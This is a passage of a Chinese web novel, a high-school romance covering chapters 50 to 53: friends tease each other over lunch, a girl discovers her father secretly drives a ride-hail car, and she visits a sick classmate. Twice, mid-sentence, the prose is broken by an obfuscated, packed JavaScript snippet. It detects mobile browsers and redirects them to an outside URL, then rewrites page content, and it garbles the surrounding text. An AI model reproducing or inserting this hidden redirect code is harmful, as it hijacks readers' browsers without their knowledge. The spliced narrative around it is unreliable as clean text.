走进些,梁若璇揶揄地调侃她:“不错嘛,交友能力一绝,刚到就交到朋友啦。” “我新同桌,人长得挺漂亮,就是话少,看着冷冰冰的。”林雨彤顺势挽过姐妹手臂。 骆眀昭好奇问了句:“名字叫什么啊?” “说起这个,我觉得是继你的名字后,我觉得又一个很好听的名字,奚致宜。”林雨彤饶有兴致地说。 几人正往食堂方向走,梁若璇目光瞧见林以征独自从教学楼里出来。 “咋俩也算是姐妹惨到一起去了,”她无奈说,“我同桌甚至整个上午一句话都没说过。” 林雨彤这时还没认识到问题严重:“不是吧,一班谁啊?” “喏,林以征。”梁若璇眼神示意,刚巧他从五人身侧过去。 “谁!” 林雨彤瞪大了眼,在察觉到林以征的同时,几乎是一瞬间将头低到人类所能触及到最低谷。 骆眀昭一开始还没反应过来:“不是你干嘛——” “对哦。” 差点忘了,林雨彤还跟人家搭过讪来着。 50. 煎饼 rainy:【学神有什么学习技巧传授一下呗?请收我为徒!】 rainy:【林同学有玩什么游戏吗?要不要一起上分,我蔡文姬贼溜。】 rainy:【说起来咱们两个还挺有缘的,你姓林我也姓林,凑在一块都能消除了唉。】 …… “哈哈哈,消除啥啊消除!”薛游捧腹,笑得要倒在牧时桉怀里,无情地被一把推了回去。 林雨彤忍着没在食堂这大庭广众之下,上去给薛游一拳,她自我感觉现在已经练就绝世忍术。 她也是脑袋被门夹了才会把聊天记录给他们看吧,太丢面子了! 林雨彤语气里带这些咬牙切齿的意味:“别念了,给我住嘴!” 求生欲让薛游讪讪将手机放下,但还是,没忍住泄出一声笑来:“噗——” 作为好姐妹的梁若璇和骆眀昭也明知不该笑,但实在忍得很艰难。 当初林雨彤初加林以征微信,她俩也就偶尔在姐妹小群里关心下发展进度,想着毕竟林雨彤平时分析感情问题,总是头头是道长篇大论的,总也不会差到哪里去啊。 果然啊,情感专家都是限定版的。 “雨彤啊,你这聊的都是啥啊?”梁若璇扭过脸看向身旁姐妹,没忍住好奇问。 林雨彤不太好意思地咳嗽,神色飘忽:“那什么,都是网上搜的。” 饭桌对面牧时桉也很罕见地吐槽一句:“互联网害人。” 林雨彤故作镇定地拿湿巾使劲擦着桌面。 也没办法啊,她也就是口嗨,行动力差得不行。 “你们吃不吃饭!干看着它放凉啊,吃啊!”林雨彤把脏湿巾甩到一旁,很刻意地转移话题。 因为听八卦,所有人都放下了手里的筷子,就骆眀昭边听还不忘埋头啃着手里的紫米煎饼,这么一会儿功夫都吃下去半个了。 煎饼窗口换了个师傅,跟之前那个路数不太像,上一个摊出来的煎饼皮被鸡蛋包裹着,是软的,这个新师傅的煎饼是稍稍干些的那种,连着里面的馃子,一口下去香得要命,从前骆眀昭家楼下煎饼摊买的就是这种,所以这个更合她的口味。 “有机会你们尝尝这个新师傅的煎饼,香。”她嘿嘿笑了两声,莫名有种呆呆的娇憨感。 笑声就这么悠悠传进牧时桉耳朵里,他不自觉地扬起嘴角。 一说起吃她真的是—— 薛游还是不解:“你洋相都已经出了,何必还躲着,大大方方见呗。” 那会儿教学楼外,林雨彤跟打游击似的,一七五的个子努力压缩用人墙当挡箭牌,非要看着林以征人已经进了一食堂,才带着大部队朝二食堂走。 “朋友圈里我照片都是高P,不仔细看他根本认不出来我的,只要降低存在感,这段黑历史就能被彻底掩埋。”林雨彤解释着,说完还拿过手机在众人面前走了一圈。 骆眀昭伸手接过,看着屏幕上几乎被扭曲成假人的脸,陷入沉思:“不对啊,我记得你很少开大美颜的啊?而且这几张鬼畜照我怎么没见过啊?” 林雨彤嘴一咧:“嘿嘿,我设置了仅他可见。” “哈?”骆眀昭瞪大眼,“为啥啊?” “那不认识的时候,万一这人是个坏的,觊觎我的美貌咋办?” “……” 也、也挺好。 至少安全防范意识很到位。 “哎呀,”林雨彤刚拿上筷子准备吃饭,忽然反应古来,“不对啊,要微信那天是你们三个帮我要的吧?那我跟你们走得太近,他不就能猜到我是谁啦!” 于是自那天这段午餐之后,林雨彤就开始自己跟林以征的打游击之旅。 说起来上学期,听说林以征一个月也没几天会来上学,但开学两个多星期,除了还是小晚自习结束就提前背着书包走人之外,他竟然一天都没有缺席过。 他就坐骆眀昭身前,每每上课也似乎很少在听课,一直埋着头做自己的事,老师们提点过几句后见没有效果,也就由着他去了。 林雨彤小电驴有天放学无意中车胎扎进碎玻璃渣,车胎瘪个彻底,正是上学日她没工夫去补胎,林妈妈说抽时间帮她推车去修,让她暂时坐几天公交上学,她就这样也加入进骆眀昭的公交分队里。 等车无聊,并排而立的两个小姐妹说起这人,因此林雨彤拉着脸抱怨着:“你们说说,他这个时候这么老实干嘛!” “行啦,说不定他压根没放在心上呢?也许他早就忘了这段小插曲啦。”林雨彤瘦瘦高高的,骆眀昭就总爱靠着她的胳膊上,“你都几天没跟我一起吃饭啦,很不习惯的好不好,姐妹。” 话落,却看林雨彤很罕见地没有接话,她目光略过空荡的大街,神色里似乎带着点傲气与遗憾。 “其实啦,比起说怕他认出我是谁,我躲着林以征的更大原因是有些不服气吧。”夜很静,伴着风声,林雨彤也缓缓讲出自己心声。 可能是因为瞧见一旁牧时桉耳朵上挂着的是降噪耳机,林雨彤默认当下是个合适跟小姐妹谈心的好时间。 “我,林雨彤,第一次鼓起勇气往前冲唉,往常都是别人排着队求我跟他们认识的。”说起这个,林雨彤脸上是盖不住的张扬。 骆眀昭抬起头,无奈笑笑应和她:“是是,你最棒啦。” 她忽然想起来小学二年级时第一次见到林雨彤的场景,林雨彤是转校生,被班主任带着进班时,头扬得高高的,面对自我介绍也丝毫不怯场,那时候还更天真些。 “大家好,我叫林雨彤,非常高兴认识大家!希望以后能跟大家成为好朋友,我们一起学习,一起玩!” 大家为了赶快下课,都稀稀拉拉在鼓掌,骆眀昭坐在讲台下眼睛骤然亮起来,鼓掌比其他同学都用力,心里莫名有个声音说:我就要跟她当朋友。 而这样洒脱自由的人在面对青春烦恼时,脸上也带着些忧愁。 “虽然知道我确实也唐突吧,冒冒然就直接冲了上去,可我即便没有璇子那么受欢迎,也不差吧,所以真的很受打击好吗!”她顿了顿又说,“而且哪怕真不想搭理我,拒绝删除就是了,不是嗯就哦,真的让人很不爽啊。” 骆眀昭故意打趣着她:“所以你现在是,自以为努力复习天下无敌,但考完试物理还是考了五十九,没脸回家见亲妈的状态吗?” “喂,有你这么比喻的吗?”怼完之后,林雨彤又郁闷下来,“不过倒是莫名有点精辟的,你说我是不是太高估自己啦?” 似乎只要扯上这理不清因果规律的感情问题,再坚定的人都会产生自我怀疑。骆眀昭得承认,她也是这样,想至此,她不经意地往斜侧方身后看了眼,那个少年。 她总是用朋友这层关系来说服自己,他们似乎更适合做朋友,所以骆眀昭你得管好自己的心,不能越界知道吗? 但事实上骆眀昭更清楚的是,很有可能她真的迈出那步,今后他们就连朋友都做不了,她会像是林雨彤这般处处躲着,不愿意直面自己的失败。 有的人会很坚定,在这种事情上锲而不舍,他们很勇敢无畏。 但即便骆眀昭和梁若璇她们两个本质上都是义无反顾的那种人,但也会因为强自尊选择绕道而行,这是她俩都抛不下的东西。 骆眀昭定定地看着她:“你只能算是错估BOSS的困难程度,他有可能本身就是究极难搞的人换谁也不好使,这不一样的。” “哪里不一样?” “高估自己就是把失败原因全归到你身上,但错估就把责任平摊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997684|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦,太越级的BOSS出现在你的副本里,这原本就是系统错误,你顶多算没看清等级就莽上去而已。”骆眀昭悠悠地说着。 林雨彤得承认,这稍稍有些不要脸的责任论确实有安慰到她,算是用一个特别的方式给她自尊心找了个台阶。 “你真会安慰人,有点东西啊。”林雨彤笑着撞了她一下。 骆眀昭也很给面子,洋洋得意:“唉,低调。” 女孩子们嘻嘻哈哈打闹着,牧时桉整个人都在阴影之下,漆黑夜里屏幕亮起的光尤为明显,他指尖点触暂停键,隔着许久暂停的歌曲重新在耳朵里响起。 - 想通之后,林雨彤顿时就恢复了往常的状态。 也许是前段时间跟话少的新同桌呆久了,猛地一下回到小分队竟也变成了个话唠,跟薛游能平起平坐。 骆眀昭感觉自己的耳道受到了巨大折磨,是不是要聋掉啦。 在学校里每天忙忙碌碌,日子一天天过去快得吓人,不知不觉开学竟然也快一个月,绮城暖气供应在三月二十五号这天结束,预示着这个漫长的冬终于真正落幕。 停暖、换季配合流感来袭,外加气温还未回升,教学楼一层阴冷了些,抵抗力差的人过敏的过敏,感冒的感冒。 令骆眀昭没想到的是,牧时桉竟也病了,不过他是二次阳性,比其他人还更严重些,估计是被在医院工作的牧正云传染。 周五这天下午,牧时桉持续的高烧,脸苍白还隐隐泛着红晕,最后在班主任和医务老师的劝说下提前回家。 骆眀昭隐隐担心着,晚餐休息时发了消息给他,但迟迟没收到回信。 大概是病着没时间看手机吧。 下周有月考,而学校的计划是期中考完正式开始一轮复习,所有尤其是蔡杨这种进度比较拖沓的老师开始疯狂赶课,骆眀昭就感觉学校拿他们当成个接水的池子,在疯狂往里面灌知识,但可惜她不是普通的池塘,是泳池,还是小学应用题里边灌水便放水的那种,知识仅仅短暂停留在她大脑片刻。 晚自习的放学铃响了,骆眀昭还伏在桌前做那破物理题,梁若璇收拾好书包扭身回来看她:“昭昭,不走吗?” “我等会儿写完的,你先走吧,拜拜。”她说。 过了一会儿,除骆眀昭以外的跑校生都走了,几个住校生还留在班里,住校生管理比较严,他们统一要自习到十点才允许回寝,会有老师来查人。 算得差不多,她飞快收拾好书包,轻手轻脚地离开教室。 走出校门,她往公交站台的方向走。 却意外瞧见一个身影在站台后阴影处,同时伴随着是忽明忽暗的猩红火光。 若是骆眀昭没戴眼镜,黑灯瞎火她定然分不出谁是谁,但偏偏她今天走的着急,还戴着眼镜,远远就认出那人是谁。 那不是,林以征吗? 骆眀昭在人行道上走着走着,就闪身躲到了一棵粗树后。 学霸抽烟。这个让人诧异的场面属实在她意料之外,最近几天晚自习他都在,刚放学离开不久,不过高智商的人有点怪癖可以理解,但毕竟是同学骆眀昭也不想就这么大咧咧靠近,即便没说过话也算认识,就准备等着他抽完离开。 她小心翼翼伏在树后,终于等到火光熄灭,燃尽的烟头被丢进垃圾桶。 呼,该走了吧? 骆眀昭探出头,就看见一辆轿车已经停在路旁,车门似乎贴着打车软件的品牌车贴,是林以征打的车,他要走了。 可骆眀昭刚看着他上车,汽车启动她看清车牌号的瞬间,呆愣着站在原地。 那不是,她爸那辆旧车的车牌号吗? 同一时间遇上两件令她吃惊的事,骆眀昭都已经不知道哪件更令她手足无措些。 51. 豆浆油条 骆齐没想到今晚的最后一单,接到的竟是八中学生,他上车瞬间车厢里便涌上烟味,闭塞的空间骆齐自然也嗅到了这股气息,有些不认同地皱着眉。 现在的孩子真的是—— 但他也没想多说什么,按着流程:“您好,尾号。” “零二二四。”林以征在后排坐定,回道。 骆齐伸手输入,汽车起步后他朝着导航指路的方向开车。 中途停在红绿灯时,他无意识地通过后视镜向后排看,男生瞧着是那种文静的孩子,但怎么看都觉得太过安静了些。 这个时间骆眀昭估计也该到家了,骆齐忽然想着。 孩子正是叛逆的年纪,回去后是不是该旁敲侧击地点一下,比如抽烟有害健康,要保护好自己,不要被看着自由的小男生骗走诸如此类的。 红灯变绿,后车按喇叭滴他一下,骆齐猛地回神,汽车再次行驶在路上。 还是再考虑下该怎么措辞吧,毕竟总不能举例的时候说今天拉到一个叛逆的小男生,也是你们学校的,他还没跟家里说跑出租的事。 - 骆眀昭回家的时候,客厅亮着灯,王乐萍扶着面膜在沙发上看电视剧。 “回来啦?”脸被封印着,王乐萍说话都是含含糊糊的。 骆眀昭弯腰换鞋,轻嗯一声,踩着拖鞋慢悠悠进门。 王乐萍随手拿起一旁手机,看了眼时间:“今天回来是不是有点晚了。” 骆眀昭进卧室把书包放下,边脱着外衣边又走出来:“多写了会儿题,有点耽误。” 她随口回复着,心思却全然不在此处,脑子里密密麻麻的乱成一锅粥。 骆眀昭把校服外套挂着衣架上,转过身目光落在母亲身上,沉思几秒问道:“妈,我爸最近回家是不是都挺晚的啊?” “店关门比较晚吧?就他一个人忙乎也确实有点累。”王乐萍没多想。 骆眀昭沉默着,看来老妈不知道这事,正想着身后的门传来锁芯被转动的声音,她回过头,刚好跟进门的骆齐对视上。 骆齐看她正是挂衣服的动作:“怎么?你刚回来?” “嗯,在学校多留了一会儿写作业。”骆眀昭抿着唇,掩去眼神情绪。 “现在学校压力很大吗?别给自己太大压力啊,这才高二。”他念叨着。 骆眀昭摇摇头:“还行,能接受。” 王乐萍摘下面膜准备往洗手间走,想了想说一句:“最近店里很忙的话,就招个能帮忙看店的。” “啊?”骆齐顿了一秒,但迅速反应过来后立刻就明白了是什么意思,他赶紧说,“还行其实,就是我比较磨蹭,就回来晚点。” 王乐萍:“那你就提高点效率吧。” 骆眀昭嘴唇微微张着,像是欲言又止,但最终还是没讲出她想问的话,安静扭头回到卧室。 换好了家居服,骆眀昭长呼一口气猛地躺倒在床上,小腿悬在半空,一会儿一会儿敲击着床板,望着天花板思绪飘得很远。 骆齐近些年肉眼所见的状态变好,人也有了精神,抗抑郁的药品也跟着停了几年,曾经情况最严重的时候重度抑郁加重度焦虑,在医院住了一个多月, 他从绮大二附辞职的时候,刚好那段疫情发展到几乎人人阳性的时间过去,但许多原本就有严重基础病的老人,没能撑这次,骆眀昭印象很深,骆齐当时在医院,脸上防护面罩压出很深的印子。 他无力地说,病房里走的老人太多了。 绮城四个殡仪馆焚烧炉不停转地烧,太平间里还是放不下,每天医院的走廊里都有人在痛哭,那无望的哭声撕扯着他残存的理智。 即便医生真正见证生老病死,但长时间直面这场景上,还在无时无刻损耗着他的心力,直到最后彻底崩盘。 跟牧正云的那次投诉争执大概是导火索吧,让骆齐再次意识到自己又一次被情绪左右,只是件再小不过的事,居然都能引起他情绪的崩溃。 于是骆齐决定自救,他不想当医生了。 也许他真的选了份不适合自己的职业吧。 起码要从这样高压的环境里抽身出来,因为他不是只有自己,妻子女儿父母岳父,这都是他的亲人,他不能再像曾经病情严重那样,整天浑浑噩噩,因为他一个人拖累全家,这是他骆齐向王乐萍和骆眀昭说明自己要辞职时,说的原话。 骆眀昭从小就知道,自己的父亲是一个情绪很细腻的人,所以刚好跟大大咧咧性格直爽的王乐萍互补,也正因如此,他总是一个人沉默着将情绪内化,当累计了越来越多无法消化的情绪,就把自己逼到重度抑郁彻底崩溃的边缘。 她也是才会对骆齐瞒着家里开出租的事感到无比忧心,若是没有遇到困难,又怎会这样三缄其口。 手机在就在脸旁边振动,骆眀昭感觉自己耳朵里嗡嗡的,从思绪里抽身出来,保持这个仰面朝天的姿势把手机举高点开。 卅:【刚醒,已经好多了。】 昭昭是我:【还发烧吗?】 卅:【退了很多。】 那就好,骆眀昭也安心了些。 卅:【离我最近,小心传染,需要提前吃点药防护吗?】 昭昭是我:【没事,我寒假二阳过,短期内没还那么容易生病。】 骆眀昭本还想再说什么,指尖悬着半天,最后落下时打了一句。 昭昭是我:【好好休息,早日恢复啊。】 发送成功后,她退出聊天框后,又在群里回复几条,她将手机甩到一边,翻了个身将整张脸埋进柔软的枕头里。 …… 牧时桉靠着床头坐着,整个房间里就只有一盏床头柜边的小台灯亮着微弱的光。 回到家后吃了药他就一直在睡,直到孙惠进房间叫他量个体温再把晚上的药吃点,他才起床。 整个人昏沉着,太阳穴一跳一跳地痛着,甚至辐射范围似乎愈来愈广,牧时桉垂下眼看手机,止不住地咳嗽两声。 群里大家在三关心确认牧时桉没事后,薛游就问又没有人要打游戏。 梁若璇和林雨彤接二连三地举手,@完骆眀昭后,她只回了一句今天不打,就再度潜水。 她好像心情不好。 牧时桉不知道是否因为生病,他的思绪也变得乱些,只是见骆眀昭没有每句话配一个表情包,就下如此判断。 他垂着眼安静看了许久,竟也越来越没有了睡意。 - 很久没再经历这么辗转难眠的一夜,骆眀昭睡得并不踏实。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009713|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>挣扎着从床上爬起来是八点多,骆齐把早点留在饭桌上就出了门,王乐萍人还在房间里没起床。 骆眀昭换好衣服起来,去卫生间用冷水冲了把脸,彻底清醒后走到餐桌。 饭桌上几个碗都被盘子倒扣盖住防止失温,骆眀昭掀开时,还能感受到股股热气。 豆浆油条,外加几颗茶叶蛋,大概都是从楼下早点摊买的,骆眀昭其实是被骆齐叫醒的,说让她赶紧出来吃饭,不然就凉了什么的。 她夹了根油条掰成小块泡进豆浆里,浸满豆浆的油条入口,第一下是酥脆的,后来就尝到内里混着甜豆浆味道的油条,因为泡得不久嚼起来还有韧劲。 饭桌上就她自己,骆眀昭就这么安静吃着,速度比往常快了不少,她几乎也没怎么尝出味道来,就囫囵吞枣地吃完。 王乐萍后来再打着哈欠起床时,推开门就看见了吃完早饭穿戴整齐即将出门的骆眀昭。 “这一大早你干嘛去?”她不解地问。 骆眀昭攥着手机:“出去买点东西。” 她也不是出门购物,走出小区门她就叫了辆出租车,定位是在骆齐的店。 骆齐盘的店在两家绮城老牌医院附近的巷子里,事实上这附近已经有了很多家殡葬用品专卖的店铺,但他之所以选在这也是因为租金不贵,而且这两家医院都没有他熟识的医生。 下了车,骆眀昭就朝着记忆里的方向走去,有些年代感的老巷子里,路边摆出来的几乎都都是纸钱花圈这些,到了差不多的地方她停下脚步,伸着头往过看。 骆齐那家店门是开着的,各种证据也在表示经营状况正常,骆眀昭今天出门刻意穿了件买来都没穿过第二次的外套,脸上带着很大的口罩遮挡住脸部特征,她找准时机,沉下一口气,快步穿过店铺门口同时又很不经意地朝着店里扭头看过去。 柜台旁坐着的人就是骆齐。 唔,还好,店还在。 她想了一夜,不敢直接去问,既然他选择瞒着,那就暂时先装作不知道,但哪怕旁敲侧击地确认一下,她也想知道老爸有没有出事。 可、既然经营状况没有异常,他怎么就忽然开始跑出租车呢?还不跟家里说。 带着满肚子的疑问,没办法,骆眀昭又坐车回家。 气温回暖,此时再穿棉服已经热起来,骆眀昭快步往单元走,刚好跟一位从里面走出来的外卖员擦肩,还不小心刮到了她的肩膀。 骆眀昭趔趄几步,外卖员不好意思地回头道歉,又风风火火起电动车离开。 她也没多逗留,站稳就也走进单元,上到一楼半,就看一个纸袋挂在自家门把手上,一看就是外卖产品。 骆眀昭赶紧上去,忽然想起刚刚的外卖员,是不是送错了? 她手掀开外卖单翻看着上面信息,是药品外送,正看着,楼上传来开门声,骆眀昭也已经看到了外卖信息,三零二,牧时桉家。 楼道里响起很轻的咳嗽声,骆眀昭抿了下唇,大概猜到是谁点的。 “牧时桉?”她试探性出声道。 头顶响起几声响动,但没人应声,骆眀昭还以为自己猜错了,等待几秒,正准备提着袋子上楼,就听到三楼,很轻很哑,几乎微不可查的男声。 “我在。” 52. 咖喱饭 印象里骆眀昭应该是第一次见这样虚弱的牧时桉。 她走上台阶,仰头看见他只身着半袖和休闲长裤,安静地站在防盗门前垂眸看自己,脸上瞧着没什么精神。 骆眀昭手里提着外卖袋,迈着步子两个台阶并做一阶这样上楼,不太认同地看着他:“这楼道里这么阴凉,你就穿这这么件短袖啊?” “拿外卖而已。”他声音小到几乎听不清,但深邃眼神仍像平日,坦坦荡荡地迎上去,让骆眀昭很快退败着将目光移开。 她偏开目光,将外卖袋递给他:“你这样还是别少话了,给,估计是骑手着急,看错楼层,放到我家门口去了。” 牧时桉伸手接过来,轻嗯一声,弯着唇。 “要的什么?”她还是没忍住好气问了句。 牧时桉回:“降温贴。” 骆眀昭愣着:“你还在发烧?” 除了降温贴外其实还有布洛芬,用来退烧加止痛,早上孙惠隔着门问他的时候,他回的是已经不烧了,但其实他从五六点开始,温度又慢慢爬上来。 也许是怕麻烦吧,他其实也不太能看懂自己。 头痛扰着人昏昏沉沉的,他整个人不太清醒,不然怎么能做出这种事。 她的话落,牧时桉沉吟片刻,缓慢开始俯下身,逐渐让自己与骆眀昭目光平视,大概就有十几公分之隔吧,他不清楚,只感觉少女的五官在他脸前无限放大。 “你试一下。”他忽然这么说,眸子里立着一个人的身影。 骆眀昭怔愣在原地,只觉得这距离越发的近,而且是第一次面对面地这么近,她从没这么仔细地观察过他。 也许她也只是心念所致,她抬起手,轻轻覆在他露出的额头,皮肤与皮肤贴着,热流传递到她掌心,确实在烧,但她自己估计也没比他好到哪里去。 “确实、确实很烫。”骆眀昭飞速收回手,插进外套口袋里时,似乎还在疯狂地灼烧着她。 牧时桉在感受到那阵柔软后,目光逐渐清明,意识回归站直身子时,无意识地喉结滚动。 他都做了什么? 骆眀昭紧咬着下唇,目光飘忽。 楼道空气呢?是被谁抽干了吗?要不然她为什么觉得如此地喘不上气,心跳如此不受她控制。 骆眀昭往后撤了一步,垂在身侧的手掌紧握,努力地稳定声音:“那既然送到了,我就先回去了啊,祝你早日康复,别忘下午周五月考哈,如果还要参加的话记得复习。” 楼道里回荡着她的声音,骆眀昭转过身下楼梯时,深深地呼出口气。 “物理、数学、生物的《模拟》带回家了吗?”她刚迈下楼梯,就听进响起低哑的男声,他说得《模拟》是练习册的名字。 骆眀昭已经迈下一级台阶,听见他的话才再次回头:“都带了。” “那一会儿借我拍几张照吧,我书包还在学校。”他说。 还没回他,兜里手里震了一下,她拿起来看,是王乐萍让她回来路上顺带去市场买点东西。 “好,一会儿等中午没事我给你送上来。”骆眀昭垂下眼回道,说完转过身又跳下几节台阶,神色不明。 - 午餐王乐萍简单煮了锅咖喱,刚刚就是叫骆眀昭去买咖喱块和洋葱头的。 骆眀昭一旁支着iPad,正在播放精彩的番剧,她一勺一勺往嘴里送着,像是在出神看屏幕,实则什么都没看进去。 王乐萍向来对她这种一心二用的事表示批判,没好气地说:“也不知道你尝出味道没有。” “啥?”骆眀昭猛地被打断,抬起头回道。 王乐萍白她一眼:“你真是看进去了。” 骆眀昭脑子里全是在想上午的事,一会儿想想骆齐,一会儿想想牧时桉,脑子一刻休息时间都没有,她状态还没完全切换回来。 “看什么?”她傻愣愣地回。 “……”王乐萍缓缓放下筷子,扭过头看她,一本正经地问,“我发现你这段时间,总是有事没事就走神,你是不是最近跟哪个小男生谈恋爱了?” 哈? 王乐萍这么怀疑好久了,而且刚好就是这个年龄段,未经世事又春心萌动,很容易陷进去走不出来,今天才算是开诚布公地在饭桌上说明白。 骆眀昭一勺拌着咖喱汤汁的米饭入口,不知道该不该嚼,就这么鼓鼓囊囊地塞在嘴里。 既心虚又莫名掺杂着点坦坦荡荡,可不是谈恋爱啊,目前单纯暗恋! 等等,她在这自豪个劲什么啊! “而且以前就没事,就是从你到北校区上学那会儿开始,这人绝对就是在北校区。”屏幕里放着正好是《名侦探柯南》,王乐萍有理有据地推理配合BGM,她完美融入其中。 骆眀昭嘴角扯着,就听王乐萍还振振有词:“妈也是过来人,都是从你这个年纪长大的,你现在这个时候还没有分辨一个人是否合适你的能力。” “你不就是高中跟我爸表白的吗?”骆眀昭侧过脸托腮,淡定地戳破她。 却没想到她更为激动:“哈,让我抓到了吧!拿我反驳我,你这意思就是现在就有!还有,当时明明是你爸跟我表白好不好。” 我是这意思? 骆眀昭自己都被她这话绕过去了。 “总之,妈不是打击你,但你现在最重要的事就是学习和身心健康的长大,我不希望你头脑一热就往上冲,万一是个坏小子,伤了你的心那很难走出来的明白吗?”说回正题,王乐萍又苦口婆心起来,“你赶紧跟那小子断了,要实在不行再等一年,高考结束后再说,到时候再带回来给我看看,我给你把关。” “哎呀,压根就没这人好不好,你八点档看多啦,满脑子狗血爱情故事。”她搪塞过去。 骆眀昭敛目,安静地又盛了口饭,她能懂王乐萍的意思,还有几个月成年,她没有王乐萍想得那么傻,相反很多时候她想得更清楚些。 坏小子,这词在她脑海里徘徊着。 王乐萍说得应该是那种行为草率,玩弄女孩子感情的那种人,她不是没见过,从前在南校区的那个班,就有被甩然后躲在女厕里抱头痛哭的女孩子,她与那女生算不得熟,也不知道如何开解,只能送上一包自己没开封的抽纸,以表安慰。 骆眀昭从没把这词跟牧时桉放在一起联想,因为就她的观察与交往,他是个看着拽,其实很温柔的人。 但…… 骆眀昭一下觉得这碗里的咖喱里也带着点没滋没味,于是放下筷子:“我吃饱了啊。” “好好琢磨琢磨我跟你说的话。”王乐萍还锲而不舍。 骆眀昭走回卧室,紧关上门,微微敞开的窗户吹动着窗台边上的纱帘。 是她多心了吗?可他为什么会做那么让人多想的举动,缓缓向着自己靠近,她几乎能感觉到灼热的呼吸打在她脸上,如此暧昧又暗流涌动。 骆眀昭走到书桌前,把书包拉链拉开,将牧时桉需要的几本练习册翻出来。 他对别人,好像从不是这样的啊。 克制、礼貌又带着疏离的边界感,像是那个圣诞节的晚上,她敏锐地发现放在后面的礼物没了踪迹,而晚会的中途他出去过,并且从那天后,她再也没发现胡晓月不自觉向着后排看过来的目光。 牧时桉拒绝她了,骆眀昭几乎全都能猜到。 而且会是一种很体面的婉拒。 可是,牧时桉,你现在是在做什么呢?拿我开玩笑吗? 好朋友之间,应该都不是这个样子的吧。 骆眀昭将练习册卷成筒,握着的力气愈发的大,几乎要将肉嵌进去。 唔,算了,先不想,万一只是多心呢?如果真的他在耍人玩,就当自己真的遇人不淑。 她拿着练习册推门出去,王乐萍刚吃完饭收拾饭桌,警惕心猛地涌上来:“干嘛去?现在都藏都不藏了,准备直接出门去找你小男朋友?” “我什么时候说过有这个人存在了?”骆眀昭无语,又跟她展示一下手里拿 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牧正云赶紧让她进门:“来来,快进来,你说这小子,自己去拿还非麻烦你跑一趟。” “没事,没事,他不是病了吗?我正好也没啥事。”骆眀昭进门,摆摆手示意无碍。 牧正云一下反应过来:“哎呀,他正阳着,别传染给你。” “没事叔叔,我上个月刚二阳一次,传染不了。” 骆眀昭换鞋进门,往前走几步就能看见餐厅内的人,牧时桉正坐在饭桌上安静吃饭,见她来也转过头朝着她看。 “我也回房间了,你们两个孩子在客厅玩吧。”牧正云也刚吃完饭,说完便走回卧室,将客厅的空间留给他们。 骆眀昭手攥着练习册,平静下去的心跳又不自觉开始七上八下起来。 “你几点吃的饭,还没吃完?”她靠着沙发扶手,故作随意地开口问。 牧时桉声音很小很哑,便只言简意赅地说出两字:“刚醒。” 意思是上午回去后又睡觉来着?也是,一病就是爱睡觉,多睡一会儿病也就好的快。 说完,他就放下筷子准备起身,骆眀昭瞧见便问他:“你不吃了?” “拍照。”他下巴微抬,示意着她抱着胸前的练习册,像是他原本就为了拍照一样,几乎忘了自己不过是多找个借口能多和她待一会儿。 骆眀昭摆手,走到餐桌前:“你吃吧,我又不着急,说得像我在催着你一样。” 而且,她想再观察一下,他会不会又忽然做出那种让人容易误会的事。 “好。”牧时桉闻言又坐下,拿起筷子安静在吃。 烧是退了,但头还晕沉伴随着隐隐作痛,从睡醒以后,他实际上是处于一个半放空的状态,现在别人即便说什么,他大概都是会老实照做的。 骆眀昭抽出离他最远的一把餐椅,就这么横着坐下,低头刷着手机。 把几个常用软件按顺序点一遍,她猛然间反应过来,不对啊——自己又没在吃饭,为什么不能抬头看他。 唔,习惯真是可怕啊,现在不看他吃饭都成被动技能了。 索性手机没有自己想看内容,她扬起头,朝着眼前进食中的牧时桉看过去。 大概是因为他在生病,所以孙惠给他做了菜粥和几样小菜,牧时桉捏着勺子,目光有些涣散,在小口小口喝着。 骆眀昭撑着脑袋看他,眼睛不经意眯起来。 他今天,是不是有哪里不一样啊?总觉得有什么怪怪的,是哪里呢? 正想着,眼前牧时桉放下勺子,改拿手旁筷子,夹起一块黄瓜条送入口中,安静地咀嚼起来。 骆眀昭看着,完完全全怔在原地,简直不敢想象自己的眼睛。 她终于知道哪里感觉怪了。 今天的牧时桉吃饭,平凡的简直像是个再正常不过的人,可是这才是最不正常的啊! 他,这是怎么了…… 53. 棒棒糖 牧时桉缓慢地咀嚼,没了平时的机械感,下颌微微动着,坐在有些不合适餐椅上脊背微弯,垂下头时露出一节干净的后脖颈。 即便五官全是锐利带着棱角的配置,今日也被病气生生压盖下去,只剩眉目间的柔和破碎。 骆眀昭甚至以为是自己看错了,她还摘下框架眼镜揉揉眼,试图让眼前变得清明,可仍是那幅场景。 “牧——”她原本想开口问,话语刚出却又生生止住,目光停住在他身上。 算了,人病着,让他先吃吧,有任何想说想问的话又不是非今日不可。 很快,牧时桉放下手中筷子,转过脸看向她:“我吃完了,练习册呢。” “啊,”骆眀昭看得出神,片刻后才反应过来,照着那边一指:“哦,在你家茶几上放着。” 牧时桉起身,朝着骆眀昭所指方向走去,上半身微俯身,手拿起平放与茶几玻璃上的练习册搭在沙发扶手上,这个高度比较方便他操作。 他手机就在兜里,他掏出来,迅速翻越着练习册里的内容,在很后面的地方拍了些照片。 骆眀昭跟在他身后看,那些题都是她还没做到的部分。 “好了,给。”牧时桉的速度很快,似乎只要是放大后能看清题目的程度就好,也不在乎什么对不对齐。 